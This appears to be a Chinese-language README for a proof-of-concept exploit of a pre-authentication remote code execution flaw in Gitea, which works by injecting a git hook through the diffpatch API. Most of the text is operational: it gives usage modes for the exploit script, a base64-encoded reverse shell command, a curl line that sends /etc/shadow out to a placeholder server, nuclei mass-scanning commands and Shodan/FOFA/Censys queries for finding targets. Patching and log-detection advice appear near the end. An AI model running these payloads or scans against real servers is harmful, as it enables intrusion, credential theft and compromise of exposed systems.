
CVE-2026-60004 预认证 RCE 漏洞利用 — Gitea <= 1.27.0 diffpatch git hook 注入 (CVSS 9.8)
┌──────────────────────────────────────────────────────────────┐
│ CVE-2026-60004 │ Gitea Pre-Auth RCE │ CVSS 9.8 (CRIT) │
│ diffpatch → git hook injection │ v1.17–1.27.0 affected │
└──────────────────────────────────────────────────────────────┘
| 属性 | 详情 |
|---|---|
| CVE ID | CVE-2026-60004 |
| CVSS 评分 | 9.8(严重) |
| CWE | CWE-94(代码注入) |
| 受影响版本 | Gitea 1.17 至 1.27.0 |
| 修复版本 | Gitea 1.27.1(2026 年 7 月 27 日发布) |
| 受影响端点 | POST /api/v1/repos/{owner}/{repo}/diffpatch |
| 发现者 | Shai Rod (NightRang3r) |
| EPSS 评分 | 0.95(95% 被利用概率) |
该漏洞滥用了 Gitea 的 diffpatch API 端点处理用户提供的 Git 补丁的方式:
裸克隆陷阱 — 该端点会创建一个裸临时克隆(没有工作树),这意味着其根目录就是 $GIT_DIR。
补丁处理 — git apply 调用时带有以下标志:--index、--recount、--cached、--binary,以及(Git ≥ 2.32 时)用于三方合并回退的 -3。
Add/Add 冲突 — 攻击者通过两次发送相同的恶意补丁触发 add/add 冲突。Git 的三方合并回退会将补丁中的文件路径写入磁盘,从而绕过 --cached 限制。
钩子注入 — 攻击者精心构造补丁,使文件路径为 hooks/post-index-change。由于克隆是裸克隆,该文件会直接落入 Git 的 hooks 目录。
代码执行 — 当 Git 更新索引时,会自动执行 post-index-change 钩子,以 Gitea 服务账户身份运行攻击者的 shell 命令。
Attacker Gitea Server
│ │
├─ POST /user/sign_up ────────────────►│ Register new user
│ │
├─ POST /api/v1/user/repos ───────────►│ Create private repo (auto-init)
│ │
├─ GET /api/v1/repos/.../branches ────►│ Get commit SHA
│ │
├─ POST /api/v1/repos/.../diffpatch ──►│ 1st patch: plant hook
│ │ Git creates bare clone
│ │ Applies patch (--cached)
│ │
├─ POST /api/v1/repos/.../diffpatch ──►│ 2nd patch: SAME PATCH
│ (same exact patch!) │ ADD/ADD COLLISION!
│ │ Git -3 fallback writes to disk
│ │ hooks/post-index-change created
│ │ Git fires post-index-change hook!
│ │ ┌─ Command executes ─┐
│ │ │ reads /etc/passwd │
│ │ │ stores in git blob │
│ │ │ creates rce-proof │
│ │ │ branch │
│ │ └────────────────────┘
│ │
├─ GET /api/v1/repos/.../raw/proof ───►│ Retrieve output
│◄─────────────────────────────────────┤ /etc/passwd contents
│ │
# Install dependencies (uses stdlib only — no pip needed!)
# Python 3.7+ required
# Quick one-liner
python3 cve-2026-60004-poc.py --url http://target --cmd "id"
# Mode 1: Full-Auto (register + create + exploit + retrieve)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto
# Mode 2: Semi-Auto (existing credentials)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode semi-auto \
--user myuser --pw 'MyPass123!'
# Mode 3: Manual (existing user + repo)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode manual \
--user myuser --pw 'MyPass123!' --repo existing-repo
# Mode 4: Check Only (non-intrusive detection)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode check
# Execute custom command
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
--cmd "whoami; id; env"
# Reverse shell (base64 encoded)
PAYLOAD=$(echo -n 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1' | base64)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
--cmd "echo $PAYLOAD | base64 -d | bash"
# Exfiltrate data via curl
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
--cmd "curl http://your-server/$(cat /etc/shadow | base64 -w0)"
# Run against a single target
nuclei -t CVE-2026-60004.yaml -u http://target:3000
# Run against multiple targets
nuclei -t CVE-2026-60004.yaml -l targets.txt -o results.txt
# With debugging output
nuclei -t CVE-2026-60004.yaml -u http://target:3000 -debug -v
将 Gitea 更新至 1.27.1 或更高版本:
# Docker
docker pull gitea/gitea:1.27.1
# Binary
wget https://dl.gitea.com/gitea/1.27.1/gitea-1.27.1-linux-amd64
禁用开放注册(减少攻击面):
# app.ini
[service]
DISABLE_REGISTRATION = true
使用最小权限服务账户运行 Gitea
监控对 diffpatch 端点的重复 POST 请求
# Search for diffpatch abuse in Gitea logs
grep -E "POST.*diffpatch" /var/lib/gitea/log/gitea.log
# Check for suspicious repo creation + immediate diffpatch use
grep -E "(CreateRepository|diffpatch)" /var/lib/gitea/log/gitea.log
# Shodan
http.title:"Gitea"
http.favicon.hash:5247710
# FOFA
app="Gitea"
title="Gitea"
# Censys
services.software.product:"Gitea"
本工具仅供教育和授权安全测试目的使用。仅可对您拥有或已获得明确书面授权的系统进行测试。未经授权访问计算机系统属于违法行为,并可能违反:
作者不对因本工具被滥用或造成的损害承担任何责任。
MIT 许可证 — 详情请参阅 EQSTLab 仓库。